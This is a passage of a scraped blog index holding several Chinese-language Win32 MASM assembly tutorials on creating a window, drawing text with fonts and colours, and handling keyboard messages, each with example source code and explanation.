在调用InvalidateRect时，WM_PAINT消息被发送到了WINDOWS窗口处理过程，程序流程转移到处理WM_PAINT消息的程序段，然后调用BeginPaint得到设备上下文的句柄，再调用TextOut在客户区的（0，0）处输出保存的按键字符。这样无论您按什么键都能在客户区的左上角显示，不仅如此，无论您怎么缩放窗口（迫使WINDOWS重新绘制它的客户区），字符都会在正确的地方显示，所以必须把所有重要的绘制动作都放到处理WM_PAINT消息的程序段中去。\n","permalink":"https://www.hacktech.cn/post/2018/02/win32asm6-keyboard-input-msg/","summary":"\u003cp\u003e这次，我们将要学习WINDOWS程序是如何处理键盘消息的。\u003c/p\u003e","title":"Win32汇编学习(6)：键盘输入消息"},{"content":"这次我们将学习有关文本的诸多属性如字体和颜色等。\n理论： Windows 的颜色系统是用RGB值来表示的，R 代表红色，G 代表绿色，B 代表蓝色。如果您想指定一种颜色就必须给该颜色赋相关的 RGB 值，RGB 的取值范围都是从 0 到 255，譬如您想要得到纯红色，就必须对RGB赋值（255，0，0），纯白色是 （255，255，255）。\n您可以用函数 SetTextColor 和 SetBkColor 来“绘制”字符颜色和背景色，但是必须传递一个“设备环境”的句柄和 RGB 值作为参数。RGB 的结构体的定义如下：\n1 2 3 4 5 6 RGB_value struct unused db 0 blue db ? green db ? red db ? RGB_value ends 其中第一字节为 0 而且始终为 0，其它三个字节分别表示蓝色、绿色和红色，刚好和 RGB 的次序相反。这个结构体用起来挺别扭，所以我们重新定义一个宏用它来代替。该宏接收红绿蓝三个参数，并在 eax 寄存器中返回 32 位的 RGB 值，宏的定义如下：\n1 2 3 4 5 6 7 RGB macro red，green，blue xor eax，eax mov ah，blue shl eax，8 mov ah，green mov al，red endm 您可以把该宏放到头文件中以方便使用。\n您可以调用 CreateFont 和 CreateFontIndirect 来创建自己的字体，这两个函数的差别是：前者要求您传递一系列的参数，而后者只要传递一个指向 LOGFONT 结构的指针。这样就使得后者使用起来更方便，尤其当您需要频繁创建字体时。在我们的例子中由于只要创建一种字体，故用 CreateFont 就足够了。在调用该函数后会返回所创建的字体的句柄，然后把该句柄选进“设备环境”使其成为当前字体，随后所有的“绘制”文本串的函数在被调用时都要把该句柄作为一个参数传递\n例子： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 .386 .model flat, stdcall option casemap:none WinMain proto :DWORD,:DWORD,:DWORD,:DWORD include windows.inc include user32.inc includelib user32.lib include kernel32.inc includelib kernel32.lib include gdi32.inc includelib gdi32.lib RGB macro red,green,blue xor eax,eax mov ah,blue shl eax,8 mov ah,green mov al,red endm .data ClassName db \u0026#34;SimpleWinClass\u0026#34;,0 AppName db \u0026#34;Our Third Window\u0026#34;,0 TestString db \u0026#34;Win32 汇编非常有意思\u0026#34;,0 FontName db \u0026#34;script\u0026#34;,0 .data? hInstance HINSTANCE ? CommandLine LPSTR ? .code start: invoke GetModuleHandle,NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT invoke ExitProcess,eax WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInst pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW+1 mov wc.lpszMenuName,NULL mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,NULL,IDI_APPLICATION mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx, addr wc invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\\ CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\\ hInst,NULL mov hwnd,eax invoke ShowWindow, hwnd,SW_SHOWNORMAL invoke UpdateWindow, hwnd .WHILE TRUE invoke GetMessage, ADDR msg,NULL,0,0 .BREAK .IF (!eax) invoke TranslateMessage, ADDR msg invoke DispatchMessage, ADDR msg .ENDW mov eax,msg.wParam ret WinMain endp WndProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM LOCAL hdc:HDC LOCAL ps:PAINTSTRUCT LOCAL hfont:HFONT .IF uMsg==WM_DESTROY invoke PostQuitMessage,NULL .ELSEIF uMsg==WM_PAINT invoke BeginPaint,hWnd,ADDR ps mov hdc,eax invoke CreateFont,24,16,0,0,400,0,0,0,OEM_CHARSET,\\ OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,\\ DEFAULT_QUALITY,DEFAULT_PITCH or FF_SCRIPT,\\ ADDR FontName invoke SelectObject,hdc,eax mov hfont,eax RGB 200,200,50 invoke SetTextColor,hdc,eax RGB 0,0,255 invoke SetBkColor,hdc,eax invoke TextOut,hdc,0,0,ADDR TestString,SIZEOF TestString invoke SelectObject,hdc,hfont invoke EndPaint,hWnd,ADDR ps .ELSE invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .endif xor eax,eax ret WndProc endp end start 分析： CreateFont 函数产生一种逻辑字体，它尽可能地接近参数中指定的各相关值。这个函数大概是所有 Windows API 函数中所带参数最多的一个。它返回一个指向逻辑字体的句柄供调用 SelectObject 函数使用。下面我们详细讲解该函数的参数：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 CreateFont proto \\ nHeight：DWORD，\\ nWidth：DWORD，\\ nEscapement：DWORD，\\ nOrientation：DWORD，\\ nWeight：DWORD，\\ cItalic：DWORD，\\ cUnderline：DWORD，\\ cStrikeOut：DWORD，\\ cCharSet：DWORD，\\ cOutputPrecision：DWORD，\\ cClipPrecision：DWORD，\\ cQuality：DWORD，\\ cPitchAndFamily：DWORD，\\ lpFacename：DWORD nHeight： 希望使用的字体的高度，0为缺省。 nWidth： 希望使用的字体的宽度，一般情况下最好用0， 这样 Windows 将会自动为您选择一个和高度匹配的值。因为在我们的例子中那样做的话会使得字符因太小而无法显示，所以我们设定它为16。 nEscapement： 每一个字符相对前一个字符的旋转角度，一般设成0。900代表转90度，1800转190度，2700转270度。 nOrientation： 字体的方向。 nWeight： 字体笔画的粗细。 Windows 为我们预定义了如下值：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 FW_DONTCARE 等于 0 FW_THIN 等于 100 FW_EXTRALIGHT 等于 200 FW_ULTRALIGHT 等于 200 FW_LIGHT 等于 300 FW_NORMAL 等于 400 FW_REGULAR 等于 400 FW_MEDIUM 等于 500 FW_SEMIBOLD 等于 600 FW_DEMIBOLD 等于 600 FW_BOLD 等于 700 FW_EXTRABOLD 等于 800 FW_ULTRABOLD 等于 800 FW_HEAVY 等于 900 FW_BLACK 等于 900 cItalic： 0为正常，其它值为斜体。 cUnderline： 0为正常，其它值为有下划线。 cStrikeOut： 0为正常，其它值为删除线。 cCharSet： 字体的字符集。一般选择OEM_CHARSET，它使得 Windows 会选用和操作系统相关的字符集。 cOutputPrecision： 指定我们选择的字体接近真实字体的精度。 一般选用OUT_DEFAULT_PRECIS，它决定了缺省的映射方式。 cClipPrecision： 指定我们选择的字体在超出裁剪区域时的裁剪精度。 一般选用CLIP_DEFAULT_PRECIS，它决定了裁剪精度。 cQuality： 指定输出字体的质量。它指出GDI应如何尽可能的接近真实 字体，一共有三种方式：DEFAULT_QUALITY， PROOF_QUALITY 和DRAFT_QUALITY。 cPitchAndFamily：字型和字体家族。 lpFacename： 指定字体的名称。 上面的描述不一定好理解，您如果要的到更多的信息，应参考 WIN32 API 指南。\n1 2 invoke SelectObject， hdc， eax mov hfont，eax 在我们得到了指向逻辑字体的句柄后必须调用 SelectObject 函数把它选择进“设备环境”，我们还可以调用该函数把诸如此类的像颜色、笔、画刷 等GDI对象选进“设备环境”。该函数会返回一个旧的“设备环境”的句柄。您必须保存该句柄，以便在完成“绘制”工作后再把它选回。在调用 SelectObject 函数后一切的绘制函数都是针对该“设备环境”的。\n1 2 3 4 RGB 200，200，50 invoke SetTextColor，hdc，eax RGB 0，0，255 invoke SetBkColor，hdc，eax 我们用宏 RGB 产生颜色，然后分别调用 SetTextColor 和 SetBkColor。\n1 invoke TextOut，hdc，0，0，ADDR TestString，SIZEOF TestString 我们调用 TextOut 在客户区用我们前面选定的字体和颜色“绘制”文本串。 TextOut,hdc,x,y,lpString,nCount\n1 invoke SelectObject，hdc， hfont 在我们“绘制”完成后，必须恢复“设备环境”。\n测试图 ","permalink":"https://www.hacktech.cn/post/2018/02/win32-asm-5-draw-text/","summary":"\u003cp\u003e这次我们将学习有关文本的诸多属性如字体和颜色等。\u003c/p\u003e","title":"Win32汇编学习(5)：绘制文本2"},{"content":"这次，我们将学习如何在窗口的客户区“绘制”字符串。我们还将学习关于“设备环境”的概念。\n理论： “绘制”字符串 Windows 中的文本是一个GUI（图形用户界面）对象。每一个字符实际上是由许多的像素点组成，这些点在有笔画的地方显示出来，这样就会出现字符。这也是为什么我说“绘制”字符，而不是写字符。通常您都是在您应用程序的客户区“绘制”字符串（尽管您也可以在客户区外“绘制”）。Windows 下的“绘制”字符串方法和 Dos 下的截然不同，在 Dos 下，您可以把屏幕想象成 85 x 25 的一个平面，而 Windows 下由于屏幕上同时有几个应用程序的画面，所以您必须严格遵从规范。Windows 通过把每一个应用程序限制在他的客户区来做到这一点。当然客户区的大小是可变的，您随时可以调整。\n在您在客户区“绘制”字符串前，您必须从 Windows 那里得到您客户区的大小，确实您无法像在 DOS 下那样随心所欲地在屏幕上任何地方“绘制”，绘制前您必须得到 Windows 的允许，然后 Windows 会告诉您客户区的大小，字体，颜色和其它 GUI 对象的属性。您可以用这些来在客户区“绘制”。\n设备环境 什么是“设备环境”（DC）呢？ 它其实是由 Windows 内部维护的一个数据结构。一个“设备环境”和一个特定的设备相连。像打印机和显示器。对于显示器来说，“设备环境”和一个个特定的窗口相连。\n“设备环境”中的有些属性和绘图有关，像：颜色，字体等。您可以随时改动那些缺省值，之所以保存缺省值是为了方便。您可以把“设备环境”想象成是Windows 为您准备的一个绘图环境，而您可以随时根据需要改变某些缺省属性。\n当应用程序需要绘制时，您必须得到一个“设备环境”的句柄。通常有几种方法。\n在 WM_PAINT 消息中使用 call BeginPaint 在其他消息中使用 call GetDC call CreateDC 建立你自己的 DC 您必须牢记的是，在处理单个消息后你必须释放“设备环境”句柄。不要在一个消息处理中获得 “设备环境”句柄，而在另一个消息处理中在释放它。\n我们在Windows 发送 WM_PAINT 消息时处理绘制客户区，Windows 不会保存客户区的内容，它用的是方法是“重绘”机制（譬如当客户区刚被另一个应用程序的客户区覆盖），Windows 会把 WM_PAINT 消息放入该应用程序的消息队列。重绘窗口的客户区是各个窗口自己的责任，您要做的是在窗口过程处理 WM_PAINT 的部分知道绘制什么和何如绘制。\n您必须了解的另一个概念是“无效区域”。Windows 把一个最小的需要重绘的正方形区域叫做“无效区域”。当 Windows 发现了一个”无效区域“后，它就会向该应用程序发送一个 WM_PAINT 消息，在 WM_PAINT 的处理过程中，窗口首先得到一个有关绘图的结构体，里面包括无效区的坐标位置等。您可以通过调用 BeginPaint 让“无效区”有效，如果您不处理 WM_PAINT 消息，至少要调用缺省的窗口处理函数 DefWindowProc ，或者调用 ValidateRect 让“无效区”有效。否则您的应用程序将会收到无穷无尽的 WM_PAINT 消息。\n下面是响应该消息的步骤：\n取得“设备环境”句柄 绘制客户区 释放“设备环境”句柄 注意，您无须显式地让“无效区”有效，这个动作由 BeginPaint 自动完成。您可以在 BeginPaint 和 Endpaint 之间，调用所有的绘制函数。几乎所有的 GDI 函数都需要“设备环境”的句柄作为参数。\n内容： 我们将写一个应用程序，它会在客户区的中心显示一行 \u0026ldquo;Win32 汇编非常有意思\u0026rdquo;\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 .386 .model flat,stdcall option casemap:none WinMain proto :DWORD,:DWORD,:DWORD,:DWORD include \\masm32\\include\\windows.inc include \\masm32\\include\\user32.inc includelib \\masm32\\lib\\user32.lib include \\masm32\\include\\kernel32.inc includelib \\masm32\\lib\\kernel32.lib .DATA ClassName db \u0026#34;SimpleWinClass\u0026#34;,0 AppName db \u0026#34;Our Second Window\u0026#34;,0 OurText db \u0026#34;Win32 汇编非常有意思\u0026#34;,0 .DATA? hInstance HINSTANCE ? CommandLine LPSTR ? .CODE start: invoke GetModuleHandle, NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT invoke ExitProcess,eax WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInst pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW+1 mov wc.lpszMenuName,NULL mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,NULL,IDI_APPLICATION mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx, addr wc invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\\ CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\\ hInst,NULL mov hwnd,eax invoke ShowWindow, hwnd,SW_SHOWNORMAL invoke UpdateWindow, hwnd .WHILE TRUE invoke GetMessage, ADDR msg,NULL,0,0 .BREAK .IF (!eax) invoke TranslateMessage, ADDR msg invoke DispatchMessage, ADDR msg .ENDW mov eax,msg.wParam ret WinMain endp WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM LOCAL hdc:HDC LOCAL ps:PAINTSTRUCT LOCAL rect:RECT .IF uMsg==WM_DESTROY invoke PostQuitMessage,NULL .ELSEIF uMsg==WM_PAINT invoke BeginPaint,hWnd, ADDR ps mov hdc,eax invoke GetClientRect,hWnd, ADDR rect invoke DrawText, hdc,ADDR OurText,-1, ADDR rect, \\ DT_SINGLELINE or DT_CENTER or DT_VCENTER invoke EndPaint,hWnd, ADDR ps .ELSE invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .ENDIF xor eax, eax ret WndProc endp end start 分析： 这里的大多数代码和Win32汇编学习(3)：简单的窗口中的一样。我只解释其中一些不相同的地方。\n1 2 3 LOCAL hdc：HDC LOCAL ps：PAINTSTRUCT LOCAL rect：RECT 这些局部变量由处理 WM_PAINT 消息中的 GDI 函数调用。hdc 用来存放调用 BeginPaint 返回的“设备环境”句柄。ps 是一个 PAINTSTRUCT 数据类型的变量。通常您不会用到其中的许多值，它由 Windows 传递给 BeginPaint，在结束绘制后再原封不动的传递给 EndPaint。rect 是一个 RECT 结构体类型参数，它的定义如下：\n1 2 3 4 5 RECT Struct left LONG ? top LONG ? right LONG ? bottom LONG ? RECT ends left 和 top 是正方形左上角的坐标。right 和 bottom 是正方形右下角的坐标。客户区的左上角的坐标是 x=0，y=0，这样对于 x=0，y=10 的坐标点就在它的下面。\n1 2 3 4 5 6 invoke BeginPaint，hWnd， ADDR ps mov hdc，eax invoke GetClientRect，hWnd， ADDR rect invoke DrawText， hdc，ADDR OurText，-1， ADDR rect， \\ DT_SINGLELINE or DT_CENTER or DT_VCENTER invoke EndPaint，hWnd， ADDR ps 在处理 WM_PAINT 消息时，您调用BeginPaint函数，传给它一个窗口句柄和未初始化的 PAINTSTRUCT 型参数。调用成功后在 eax 中返回“设备环境”的句柄。下一次，调用 GetClientRect 以得到客户区的大小，大小放在 rect 中，然后把它传给 DrawText。DrawText 的语法如下：\n1 DrawText proto hdc：HDC， lpString：DWORD， nCount：DWORD， lpRect：DWORD， uFormat：DWORD DrawText是一个高层的调用函数。它能自动处理像换行、把文本放到客户区中间等这些杂事。所以您只管集中精力“绘制”字符串就可以了。让我们来看一看该函数的参数：\nhdc： “设备环境”的句柄。 lpString：要显示的文本串，该文本串要么以NULL结尾，要么在nCount中指出它的长短。 nCount：要输出的文本的长度。若以NULL结尾，该参数必须是-1。 lpRect： 指向要输出文本串的正方形区域的指针，该方形必须是一个裁剪区，也就是说超过该区域的字符将不能显示。 uFormat：指定如何显示。我们可以用 or 把以下标志或到一块： DT_SINGLELINE：是否单行显示。 DT_CENTER：是否水平居中。 DT_VCENTER ：是否垂直居中。 结束绘制后，必须调用 EndPaint 释放“设备环境”的句柄。 好了，现在我们把“绘制”文本串的要点总结如下：\n必须在开始和结束处分别调用 BeginPaint 和 EndPaint； 在 BeginPaint 和 EndPaint 之间调用所有的绘制函数； 如果在其它的消息处理中重新绘制客户区，您可以有两种选择： 用GetDC和ReleaseDC代替BeginPaint和EndPaint； 调用InvalidateRect或UpdateWindow让客户区无效，这将迫使WINDOWS把WM_PAINT放入应用程序消息队列，从而使得客户区重绘。 ","permalink":"https://www.hacktech.cn/post/2018/02/win32-asm-4-draw-text/","summary":"\u003cp\u003e这次，我们将学习如何在窗口的客户区“绘制”字符串。我们还将学习关于“设备环境”的概念。\u003c/p\u003e","title":"Win32汇编学习(4)：绘制文本"},{"content":"这次我们将写一个 Windows 程序，它会在桌面显示一个标准的窗口，以此根据代码来学习如何创建一个简单的窗口。\n理论： Windows 程序中，在写图形用户界面时需要调用大量的标准 Windows Gui 函数。其实这对用户和程序员来说都有好处，对于用户，面对的是同一套标准的窗口，对这些窗口的操作都是一样的，所以使用不同的应用程序时无须重新学习操作。对程序员来说，这些 Gui 源代码都是经过了微软的严格测试，随时拿来就可以用的。当然至于具体地写程序对于程序员来说还是有难度的。为了创建基于窗口的应用程序，必须严格遵守规范。做到这一点并不难，只要用模块化或面向对象的编程方法即可。\n下面我就列出在桌面显示一个窗口的几个步骤：\n得到您应用程序的句柄(必需)； 得到命令行参数(如果您想从命令行得到参数，可选)； 注册窗口类(必需，除非您使用 Windows 预定义的窗口类，如 MessageBox 或 dialog box； 产生窗口(必需)； 在桌面显示窗口(必需，除非您不想立即显示它)； 刷新窗口客户区； 进入无限的获取窗口消息的循环； 如果有消息到达，由负责该窗口的窗口回调函数处理； 如果用户关闭窗口，进行退出处理。 相对于单用户的 DOS 下的编程来说，Windows 下的程序框架结构是相当复杂的。但是 Windows 和 DOS 在系统架构上是截然不同的。Windows 是一个多任务的操作系统，故系统中同时有多个应用程序彼此协同运行。这就要求 Windows 程序员必须严格遵守编程规范，并养成良好的编程风格。\n内容： 下面是我们简单的窗口程序的源代码。在进入复杂的代码前，指出几点要点：\n您应当把程序中要用到的所有常量和结构体的声明放到一个头文件中，并且在源程序的开始处包含这个头文件。这么做将会节省您大量的时间，也免得一次又一次的敲键盘。目前，我所使用的是masm32.com提供的。您也可以定义您自己的常量和结构体，但最好把它们放到独立的头文件中 用 includelib 指令，包含您的程序要引用的库文件，譬如：若您的程序要调用 \u0026ldquo;MessageBox\u0026rdquo;， 您就应当在源文件中加入如下一行： includelib user32.lib 这条语句告诉 MASM 您的程序将要用到一些引入库。如果您不止引用一个库，只要简单地加入 includelib 语句，不要担心链接器如何处理这么多的库，只要在链接时用链接开关 /LIBPATH 指明库所在的路径即可。 在其它地方运用头文件中定义函数原型，常数和结构体时，要严格保持和头文件中的定义一致，包括大小写。在查询函数定义时，这将节约您大量的时间； 在编译，链接时用makefile文件，免去重复敲键。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 .386 .model flat,stdcall option casemap:none include windows.inc include user32.inc includelib user32.lib ; calls to functions in user32.lib and kernel32.lib include kernel32.inc includelib kernel32.lib WinMain proto :DWORD,:DWORD,:DWORD,:DWORD .DATA ; initialized data ClassName db \u0026#34;SimpleWinClass\u0026#34;,0 ; the name of our window class AppName db \u0026#34;Our First Window\u0026#34;,0 ; the name of our window .DATA? ; Uninitialized data hInstance HINSTANCE ? ; Instance handle of our program CommandLine LPSTR ? .CODE ; Here begins our code start: invoke GetModuleHandle, NULL ; get the instance handle of our program. ; Under Win32, hmodule==hinstance mov hInstance,eax mov hInstance,eax invoke GetCommandLine ; get the command line. You don\u0026#39;t have to call this function IF ; your program doesn\u0026#39;t process the command line. mov CommandLine,eax invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT ; call the main function invoke ExitProcess, eax ; quit our program. The exit code is returned in eax from WinMain. WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD LOCAL wc:WNDCLASSEX ; create local variables on stack LOCAL msg:MSG LOCAL hwnd:HWND mov wc.cbSize,SIZEOF WNDCLASSEX ; fill values in members of wc mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInstance pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW+1 mov wc.lpszMenuName,NULL mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,NULL,IDI_APPLICATION mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx, addr wc ; register our window class invoke CreateWindowEx,NULL,\\ ADDR ClassName,\\ ADDR AppName,\\ WS_OVERLAPPEDWINDOW,\\ CW_USEDEFAULT,\\ CW_USEDEFAULT,\\ CW_USEDEFAULT,\\ CW_USEDEFAULT,\\ NULL,\\ NULL,\\ hInst,\\ NULL mov hwnd,eax invoke ShowWindow, hwnd,CmdShow ; display our window on desktop invoke UpdateWindow, hwnd ; refresh the client area .WHILE TRUE ; Enter message loop invoke GetMessage, ADDR msg,NULL,0,0 .BREAK .IF (!eax) invoke TranslateMessage, ADDR msg invoke DispatchMessage, ADDR msg .ENDW mov eax,msg.wParam ; return exit code in eax ret WinMain endp WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM .IF uMsg==WM_DESTROY ; if the user closes our window invoke PostQuitMessage,NULL ; quit our application .ELSE invoke DefWindowProc,hWnd,uMsg,wParam,lParam ; Default message processing ret .ENDIF xor eax,eax ret WndProc endp end start 分析： 看到一个简单的 Windows 程序有这么多行，您是不是有点想死? 但是您必须要知道的是上面的大多数代码都是模板而已，模板的意思即是指这些代码对差不多所有标准 Windows 程序来说都是相同的。在写 Windows 程序时您可以把这些代码拷来拷去，当然把这些重复的代码写到一个库中也挺好。其实真正要写的代码集中在 WinMain 中。这和一些 C 编译器一样，无须要关心其它杂务，集中精力于 WinMain 函数。唯一不同的是 C 编译器要求您的源代码有必须有一个函数叫 WinMain。否则 C 无法知道将哪个函数和有关的前后代码链接。相对C，汇编语言提供了较大的灵活性，它不强行要求一个叫 WinMain 的函数。\n做好心理准备，下面我们开始分析代码。\n1 2 3 4 5 6 7 8 9 10 11 .386 .model flat，stdcall option casemap：none WinMain proto ：DWORD，：DWORD，：DWORD，：DWORD include windows.inc include user32.inc include kernel32.inc includelib user32.lib includelib kernel32.lib 您可以把前三行看成是\u0026quot;必须\u0026quot;的.\n.386告诉MASN我们要用80386指令集。\n. model flat，stdcall告诉MASM 我们用的内存寻址模式，此处也可以加入stdcall告诉MASM我们所用的参数传递约定。\n接下来是函数 WinMain 的原型声明，因为我们稍后要用到该函数，故必须先声明。我们必须包含 window.inc 文件，因为其中包含大量要用到的常量和结构的定义，该文件是一个文本文件，您可以用任何文本编辑器打开并且查看它\n我们的程序调用 user32.dll (譬如：CreateWindowEx， RegisterWindowClassEx) 和 kernel32.dll (ExitProcess)中的函数，所以必须链接这两个库。接下来我如果问：您需要把什么库链入您的程序呢 ? 答案是：先查到您要调用的函数在什么库中，然后包含进来。譬如：若您要调用的函数在 gdi32.dll 中，您就要包含gdi32.inc头文件。和 MASM 相比，TASM 则要简单得多，您只要引入一个库，即：import32.lib。\u0026lt;但 Tasm5 麻烦的是 windows.inc 非常的不全面，而且如果在 Windows.inc 中包含全部的 API 定义会内存不够，所以每次你得把用到的 API 定义拷贝出来\u0026gt;\n1 2 3 4 5 6 7 8 9 .DATA ClassName db \u0026#34;SimpleWinClass\u0026#34;，0 AppName db \u0026#34;Our First Window\u0026#34;，0 .DATA? hInstance HINSTANCE ? CommandLine LPSTR ? 接下来是DATA\u0026ldquo;分段\u0026rdquo;。 在 .DATA 中我们定义了两个以 NULL 结尾的字符串 (ASCIIZ)：其中 ClassName 是 Windows 类名，AppName 是我们窗口的名字。这两个变量都是初始化了的。未进行初始化的两个变量放在 .DATA? \u0026ldquo;分段\u0026quot;中，其中 hInstance 代表应用程序的句柄，CommandLine 保存从命令行传入的参数。HINSTACE 和 LPSTR 是两个数据类型名，它们在头文件中定义，可以看做是 DWORD 的别名，之所以要这么重新定仅是为了易记。您可以查看 windows.inc 文件，在 .DATA? 中的变量都是未经初始化的，这也就是说在程序刚启动时它们的值是什么无关紧要，只不过占有了一块内存，以后可以再利用而已。\n1 2 3 4 5 6 7 8 9 10 .CODE start： invoke GetModuleHandle， NULL mov hInstance，eax invoke GetCommandLine mov CommandLine，eax invoke WinMain， hInstance，NULL，CommandLine， SW_SHOWDEFAULT invoke ExitProcess，eax ..... end start .CODE \u0026ldquo;分段\u0026quot;包含了您应用程序的所有代码，这些代码必须都在 .code 和 end 之间。至于 label 的命名只要遵从 Windows 规范而且保证唯一则具体叫什么倒是无所谓。我们程序的第一条语句是调用 GetModuleHandle 去查找我们应用程序的句柄。在Win32下，应用程序的句柄和模块的句柄是一样的。您可以把实例句柄看成是您的应用程序的 ID 号。我们在调用几个函数是都把它作为参数来进行传递，所以在一开始便得到并保存它就可以省许多的事。\n特别注意：WIN32下的实例句柄实际上是您应用程序在内存中的线性地址。\n**WIN32 中函数的函数如果有返回值，那它是通过 eax 寄存器来传递的。其他的值可以通过传递进来的参数地址进行返回。**一个 WIN32 函数被调用时总会保存好段寄存器和 ebx，edi，esi和ebp 寄存器，而 ecx和edx 中的值总是不定的，不能在返回时应用。特别注意：从 Windows API 函数中返回后，eax，ecx，edx 中的值和调用前不一定相同。当函数返回时，返回值放在eax中。如果您应用程序中的函数提供给 Windows 调用时，也必须遵守这一点，即在函数入口处保存段寄存器和 ebx，esp，esi，edi 的值并在函数返回时恢复。如果不这样一来的话，您的应用程序很快会崩溃。从您的程序中提供给 Windows 调用的函数大体上有两种：Windows 窗口过程和 Callback 函数。\n如果您的应用程序不处理命令行那么就无须调用 GetCommandLine，这里只是告诉您如果要调用应该怎么做。\n下面则是调用WinMain了。该函数共有4个参数：应用程序的实例句柄，该应用程序的前一实例句柄，命令行参数串指针和窗口如何显示。Win32 没有前一实例句柄的概念，所以第二个参数总为0。之所以保留它是为了和 Win16 兼容的考虑，在 Win16下，如果 hPrevInst 是 NULL，则该函数是第一次运行。特别注意：您不用必须声明一个名为 WinMain 函数，事实上在这方面您可以完全作主，您甚至无须有一个和 WinMain 等同的函数。您只要把 WinMain 中的代码拷到GetCommandLine 之后，其所实现的功能完全相同。在 WinMain 返回时，把返回码放到 eax 中。然后在应用程序结束时通过 ExitProcess 函数把该返回码传递给 Windows 。\n1 WinMain proc Inst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD 上面是WinMain的定义。注意跟在 proc 指令后的parameter：type形式的参数，它们是由调用者传给 WinMain 的，我们引用是直接用参数名即可。至于压栈和退栈时的平衡堆栈工作由 MASM 在编译时加入相关的前序和后序汇编指令来进行。 LOCAL wc：WNDCLASSEX LOCAL msg：MSG LOCAL hwnd：HWND LOCAL 伪指令为局部变量在栈中分配内存空间，所有的 LOCAL 指令必须紧跟在 PROC 之后。LOCAL 后跟声明的变量，其形式是 变量名:变量类型。譬如 LOCAL wc：WNDCLASSEX 即是告诉 MASM 为名字叫 wc 的局部边量在栈中分配长度为 WNDCLASSEX 结构体长度的内存空间，然后我们在用该局部变量是无须考虑堆栈的问题，考虑到 DOS 下的汇编，这不能不说是一种恩赐。不过这就要求这样声明的局部变量在函数结束时释放栈空间，(也即不能在函数体外被引用)，另一个缺点是您因不能初始化您的局部变量，不得不在稍后另外再对其赋值。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mov wc.cbSize，SIZEOF WNDCLASSEX mov wc.style， CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc， OFFSET WndProc mov wc.cbClsExtra，NULL mov wc.cbWndExtra，NULL push hInstance pop wc.hInstance mov wc.hbrBackground，COLOR_WINDOW+1 mov wc.lpszMenuName，NULL mov wc.lpszClassName，OFFSET ClassName invoke LoadIcon，NULL，IDI_APPLICATION mov 